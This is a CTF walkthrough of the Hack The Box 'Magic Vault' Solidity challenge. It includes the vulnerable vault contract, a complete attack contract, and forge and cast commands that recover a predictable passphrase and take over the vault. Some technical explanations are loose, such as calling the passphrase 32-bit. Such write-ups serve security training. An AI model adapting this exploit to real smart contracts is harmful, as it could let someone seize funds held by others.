[HacktheBox] Magic Vault Blockchain Challenge Walkthrough

Adesh Kolte
7 min readDec 18, 2023

Hii Infosec , Today we are going to solve the Magic Vault Challenge from HackTheBox .

Magic vault challenge is powered by HackenProof | Web 3.0 bug bounty platform

Lets solve it : — →

The challenge description :

Hackthebox challenge description

In this challenge, as we are familiar with we are given a Setup.sol file and another challenge contract, in this case it is Vault.sol. Let’s review it:

1st Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Vault} from "./Vault.sol";

contract Setup {
Vault public immutable TARGET;

constructor() payable {
require(msg.value == 1 ether);
TARGET = new Vault();
}

function isSolved() public view returns (bool) {
return TARGET.mapHolder() != address(TARGET);
}
}

2nd Vault.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Vault {
struct Map {
address holder;
}

Map map;
address public owner;
bytes32 private passphrase;
uint256 public nonce;
bool public isUnlocked;

constructor() {
owner = msg.sender;
passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
map = Map(address(this));
}

function mapHolder() public view returns (address) {
return map.holder;
}

function claimContent() public {
require(isUnlocked);
map.holder = msg.sender;
}

function unlock(bytes16 _password) public {
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
uint128 _input = uint128(_password);
require(_input != _secretKey, "Case 1 failed");
require(uint64(_input) == _secretKey, "Case 2 failed");
require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed");
isUnlocked = true;
}

function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
nonce++;
}

function _magicPassword() private returns (bytes8) {
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
return (_secret >> 32 | _secret << 16);
}
}

what’s up with this Vault contract, huh? Can you break down what it’s actually doing? And, what do we gotta crack to beat this challenge?

First, we see a structure called Map being made that has one address-type member called holder.

Next, we see a few variables declared:

  • owner is msg.sender which is the address that is deploying the contract.
  • passphrase is a 32-bit private hash value.
  • nonce is used as a counter later on in the program.
  • isUnlocked is as you’d expect, meant to show whether or not the chest is unlocked.

Then we see a function called constructor():

  • This function is executed upon initial deployment of the contract and it will generate the passphrase by hashing the blockhash of the block.timestamp, and sets the map’s holder to the contract’s address.

The mapHolder function returns the address of the current map holder.

The claimContent function will let any address claim the vault as long as isUnlocked() is set to true.

The unlock function takes in a 16-byte _password and then it does the following:

  • First, it generates a 128-bit integer, _secretKey, using the first 64 bits of _magicPassword(). Then, it checks if the 128-bit integer representation of the input _password equals _secretKey. If they are equal, the function will throw an error, otherwise it will continue.
  • Second, it verifies if the least significant 64 bits of _password (interpreted as an integer) are equal to _secretKey. If not, the function will throw an error.
  • Third, it checks if the least significant 64 bits of _password (interpreted as a byte array) match the least significant 64 bits of the owner’s address. If not, the function will throw an error.

The _generateKey function takes a single _reductor parameter as input. It uses this to determine the previous block’s hash by subtracting the _reductor by the current block number.

  • The block-hash and the current nonce value are then packed together and hashed using keccak256. The resulting hash is then converted to a 256-bit integer and returned as the generated key.
  • The nonce is then incremented, ensuring a new key is generated every time this function is called.

The _magicPassword function generates a password that is used in part of the process of unlocking the vault.

  • Two keys, _key1 and _key2, are generated.
  • _key1 is generated by calling _generateKey() with a _reductor value determined by the current block timestamp modulo 2 plus 1.
  • _key2 is generated by calling _generateKey(2).
  • These keys are then used to perform several operations involving the passphrase:
  • The passphrase is XOR’d with _key1.
  • The resulting value is converted to a bytes32 array, then to a bytes16 array, then to a 128-bit integer.
  • This integer is then XOR’d with _key2, and the resulting value is converted to a bytes16 array, then to a bytes8 array.
  • Finally, a bitwise right shift of 32 and a left shift of 16 are performed on the _secret value. This result is then returned as the magic password.

Our Attack

So, now that we have an idea of how everything here is working, let’s think of a way to unlock the vault and get our flag.

The security of this whole thing depends on the timestamp of the block in which this vault was made.

  • This is because the passphrase or timestamp of the genesis block is used when generating the keys for the password and the password itself.

So, we can just go ahead and grab the timestamp of the genesis block and use that to figure out the passphrase by using the cast command, a few online converters, and a solidity IDE.

Let’s get the timestamp of the genesis block:

╰─ cast age 1 --rpc-url http://139.59.188.199:32561/rpc
Sun Dec 17 17:30:43 2023

Then, we can convert this into a Unix timestamp online:

unixtimestamp

Then, we can run it through the same logic we saw in the constructor() to figure out the passphrase.

Here is the program I used in the RemixIDE:

pragma solidity ^0.8.17;contract findPassphrase {bytes32 public passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(1702814443)))));}

From here, just compile the contract and deploy it and you’ll see your passphrase:

got passphrase here :)

Now we just need to make a smart contract that uses this passphrase to unlock the vault for us.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;// Importing the Vault contract to interact with it.
import "./Vault.sol";
contract attack {
// Storing the instance of the Vault contract we want to interact with.
Vault public vault;

// Storing the passphrase for unlocking the vault.
bytes32 public passphrase;

// Nonce used for key generation.
uint256 nonce;
// Constructor that sets the address of the Vault and passphrase.
constructor(address _vault, bytes32 _passphrase) {
vault = Vault(_vault);
passphrase = _passphrase;
}
// Function for generating a 'magic' password, used for unlocking the vault.
function _magicPassword() private returns (bytes8) {
// Generating two keys with different reductors.
uint256 _key1 = _generateKey((block.timestamp % 2) + 1);
uint128 _key2 = uint128(_generateKey(2));
// XORing the passphrase with _key1, and then XORing that result with _key2.
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
// Returning the secret after some bit manipulation.
return ((_secret >> 32) | (_secret << 16));
}
// Function to generate a key, uses nonce and blockhash.
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
// Creating a key based on the hash of a previous block and the current nonce.
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
// Incrementing the nonce for the next key generation.
nonce++;
}
// Public function to unlock the vault.
function unlock() public {
// Setting the nonce to be the same as the Vault's nonce.
nonce = vault.nonce();
// Generating the 'magic' password and extracting the most significant bits.
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
// Getting the least significant bits of the owner's address.
uint128 _owner = uint128(uint64(uint160(vault.owner())));
// Unlocking the vault with the concatenated owner and secret key.
vault.unlock(bytes16((_owner << 64) | _secretKey));
// Claiming the content of the Vault.
vault.claimContent();
}
}

You’ll want to make sure that both your attack.sol and Vault.sol are in the same /src folder that you are compiling the project from.

Next, we need to compile the project from and deploy it to the target, making sure to pass in the passphrase we got from earlier:

╰─ forge create src/attack.sol:attack --rpc-url http://<IP and Port>/rpc --private-key $PrivateKey --constructor-args $TargetAddress $Passphrase

If everything goes smoothly, you’ll successfully deploy the contract and you’ll get an address it was deployed to.

deployed attack.sol

You can use this address to call the unlock function we made.

╰─ cast send $DeployedToAddress "unlock()" --rpc-url http://<IP and Port>/rpc --private-key $PrivateKey
we called unlock() function from attack.sol (our exploit)

Then, we can see if it worked by asking the target address who the map holder is.

╰─ cast call $TargetAddress "mapHolder()" --rpc-url http://<IP and Port>/rpc --private-key $PrivateKey

If everything worked, it should be the same as the address our contract was deployed to:

We can verify our results by asking the setup address if we solved the challenge:

╰─ cast call $SetupAddress "isSolved()" --rpc-url http://<IP and Port>/rpc

If this returns as a one instead of a zero, it means we solved the problem

solved:)

and we can visit the /flag endpoint to get our flag

bingo :)

Thanks for reading :)

--

--

Adesh Kolte

Listed in Top 100 most respected hackers in the world by Microsoft at the BlackHat conference in America 2018